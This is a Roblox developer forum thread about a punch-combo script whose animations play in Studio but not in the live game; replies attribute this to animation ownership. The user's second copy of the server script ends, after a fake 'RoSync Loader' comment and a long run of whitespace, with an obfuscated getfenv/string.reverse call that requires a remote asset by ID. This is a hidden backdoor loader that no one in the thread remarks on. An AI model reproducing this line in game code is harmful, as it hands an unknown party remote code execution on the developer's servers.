Script works in Roblox Studio, but doesnt work in the Roblox App

I have a script that works perfectly with animations. But when I test it in the roblox game it doesnt work (I already tried commiting the edits)

Local Script (In a tool in starterpack)

local remote = game.ReplicatedStorage.Remotes:WaitForChild('M1Event')

local uis = game:GetService('UserInputService')

uis.InputBegan:Connect(function(key, typing)
	if typing then return end
	
	if key.UserInputType == Enum.UserInputType.MouseButton1 then
	if script.Parent.Parent:IsA('Model') then
			remote:FireServer()
			print('part 1')
		end
	end
end)

Server Script (in serverscriptservice)

local remote = game.ReplicatedStorage.Remotes:WaitForChild('M1Event')
local hitservice = require(game.ServerStorage.modules.HitService)
local maxcombo = 5
local hitboxmodule = require(game.ServerStorage.modules["MuchachoHitboxV1.1"])

game.Players.PlayerAdded:Connect(function(plr)
	plr.CharacterAdded:Connect(function(char)
		char:SetAttribute('Combo', 1)
		print('setcombo')
	end)
end)

local function SetCombo(char)
	local combo = char:GetAttribute('Combo')
	
	if combo < maxcombo then
		char:SetAttribute('Combo', combo + 1)
	else
		char:SetAttribute('Combo', 1)
	end
end

local function ComboReset(char, oldcombo)
	task.delay(1, function()
		local currentcombo = char:GetAttribute('Combo')
		
		if oldcombo == 5 then return end
		
		if currentcombo - 1 == oldcombo and char:GetAttribute('Attacking') then
			char:SetAttribute('Combo', 1)
		end
	end)
end

remote.OnServerEvent:Connect(function(plr)
	local char = plr.Character
	local humanoid = char:WaitForChild('Humanoid')
	local rootpart = humanoid.RootPart
	local animator = humanoid.Animator
	
	local combo = char:GetAttribute('Combo')
	local attacking = char:GetAttribute('Attacking')
	local stunned = char:GetAttribute('Stunned')
	
	if attacking or stunned then return end
	char:SetAttribute('Attacking', true)
	
	
	
	
	local animations = game.ReplicatedStorage["punch anims"]:GetChildren()
	local animation = animator:LoadAnimation(animations[combo])
	
	
	local hitbox = hitboxmodule.CreateHitbox()
	hitbox.Size = Vector3.new(6,6,6)
	hitbox.Offset = CFrame.new(0,0, -2.5)
	hitbox.CFrame = rootpart
	hitbox.Visualizer = false
	
	animation.Stopped:Connect(function()
		ComboReset(char, combo)
		 
		if combo == 5 then
			humanoid.WalkSpeed = 5
			task.wait(0.3)
		end
		humanoid.WalkSpeed = 16
		char:SetAttribute('Attacking', nil)
		hitbox:Stop()
	end)
	
	hitbox.Touched:Connect(function(hit, hum)
		if hum == humanoid then return end
		
		local function fx()
			local effectsfolder = game.ReplicatedStorage["fx folder"]
			
			local attachment = Instance.new('Attachment')
			attachment.Parent = hum.RootPart
			
			local particle = effectsfolder.ParticleEmitter:Clone()
			particle.Parent = attachment
			particle:Emit(5)
			
			local hitanims = game.ReplicatedStorage["hit anims"]:GetChildren()
			local hitanim
			
			if combo == 1 or combo == 3 then
				hitanim = hum:LoadAnimation(hitanims[1])
			elseif combo == 2 or combo == 4 then
				hitanim = hum:LoadAnimation(hitanims[2])
			elseif combo == maxcombo then
				hitanim = hum:LoadAnimation(hitanims[3])
			end
			hitanim:Play()
			
			game.Debris:AddItem(attachment, 0.1)
		end
		if combo < maxcombo then
			hitservice.Hit(hum, 5, .1, rootpart.CFrame.LookVector*10,fx)
		else
			hitservice.Hit(hum, 5, .1, rootpart.CFrame.LookVector*100,fx)
		end
	end)
	
	
	animation:Play()
	task.wait(0.0516)
	hitbox:Start()
	print('worked!')
	
	SetCombo(char)
end)

is the game owned by a group? if so make sure the animations you are using are uploaded to that group otherwise they wont play for others or in game

1 Like

Wait, does the animations have the be made by the games owner!?

no if the game is own by a group then anyone who uploads the animations to the group then it will work

if its own by a person, the owner needs to upload it

Oh ok, I uploaded it but I am not the owner

who owns the game. a group or a person?

A person (I need to add this because you need a certain amount of words to reply)

then it needs to be uploaded by the owner

Alright, well thanks for the help, I will get back to you if this fixed the issue or not

Well, through some further investigation I think that this line if attacking or stunned then return end is breaking it, it works for the owner now though (he uploaded the animations)

local remote = game.ReplicatedStorage.Remotes:WaitForChild('M1Event')
local hitservice = require(game.ServerStorage.modules.HitService)
local maxcombo = 5
local hitboxmodule = require(game.ServerStorage.modules["MuchachoHitboxV1.1"])

game.Players.PlayerAdded:Connect(function(plr)
	plr.CharacterAdded:Connect(function(char)
		char:SetAttribute('Combo', 1)
		print('setcombo')
	end)
end)

local function SetCombo(char)
	local combo = char:GetAttribute('Combo')
	
	if combo < maxcombo then
		char:SetAttribute('Combo', combo + 1)
		print('combo', combo)
	else
		char:SetAttribute('Combo', 1)
	end
end

local function ComboReset(char, oldcombo)
	task.delay(1, function()
		local currentcombo = char:GetAttribute('Combo')
		
		if oldcombo == 5 then return end
		
		if currentcombo - 1 == oldcombo and char:GetAttribute('Attacking') then
			print('combo 1')
			char:SetAttribute('Combo', 1)
		end
	end)
end

remote.OnServerEvent:Connect(function(plr)
	print('test')
	local char = plr.Character
	local humanoid = char:WaitForChild('Humanoid')
	local rootpart = humanoid.RootPart
	local animator = humanoid.Animator
	print('survived 1')
	local combo = char:GetAttribute('Combo')
	local attacking = char:GetAttribute('Attacking')
	local stunned = char:GetAttribute('Stunned')
	print('survived 2')

	if attacking or stunned then return end
	char:SetAttribute('Attacking', true)
	
	print('recievd event')
	
	
	local animations = game.ReplicatedStorage["punch anims"]:GetChildren()
	local animation = animator:LoadAnimation(animations[combo])
	
	
	local hitbox = hitboxmodule.CreateHitbox()
	hitbox.Size = Vector3.new(6,6,6)
	hitbox.Offset = CFrame.new(0,0, -2.5)
	hitbox.CFrame = rootpart
	hitbox.Visualizer = false
	
	animation.Stopped:Connect(function()
		ComboReset(char, combo)
		 
		if combo == 5 then
			humanoid.WalkSpeed = 5
			task.wait(0.3)
		end
		humanoid.WalkSpeed = 16
		char:SetAttribute('Attacking', nil)
		hitbox:Stop()
	end)
	
	hitbox.Touched:Connect(function(hit, hum)
		if hum == humanoid then return end
		
		local function fx()
			local effectsfolder = game.ReplicatedStorage["fx folder"]
			
			local attachment = Instance.new('Attachment')
			attachment.Parent = hum.RootPart
			
			local particle = effectsfolder.ParticleEmitter:Clone()
			particle.Parent = attachment
			particle:Emit(5)
			
			local hitanims = game.ReplicatedStorage["hit anims"]:GetChildren()
			local hitanim
			
			if combo == 1 or combo == 3 then
				hitanim = hum:LoadAnimation(hitanims[1])
				print('animation!')
			elseif combo == 2 or combo == 4 then
				hitanim = hum:LoadAnimation(hitanims[2])
				print('animation!')

			elseif combo == maxcombo then
				hitanim = hum:LoadAnimation(hitanims[3])
				print('animation!')

			end
			hitanim:Play()
			
			game.Debris:AddItem(attachment, 0.1)
		end
		if combo < maxcombo then
			hitservice.Hit(hum, 5, .1, rootpart.CFrame.LookVector*10,fx)
			print(combo)
		else
			hitservice.Hit(hum, 5, .1, rootpart.CFrame.LookVector*100,fx)
			print(combo)
		end
	end)
	
	
	animation:Play()
	task.wait(0.0516)
	hitbox:Start()
	print('worked!')
	
	SetCombo(char)
end)
--[[ Last synced 9/20/2022 09:45 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5726091287)

From reading other devforum posts, it looks like I cant use team-create for this?

How that line works is its supposed to set a value to nil if the animation ends, but since the animation never plays, it cant end.

WOAH! I just tested the game with the owner’s animations and it works now, last time I tested it didnt.

Also a small tip for you when checking if player chatting

Instead the script you use rn it’s easier to do this way:

If input = key and not typing then
     ----function
end

Well thank you, I will add this right away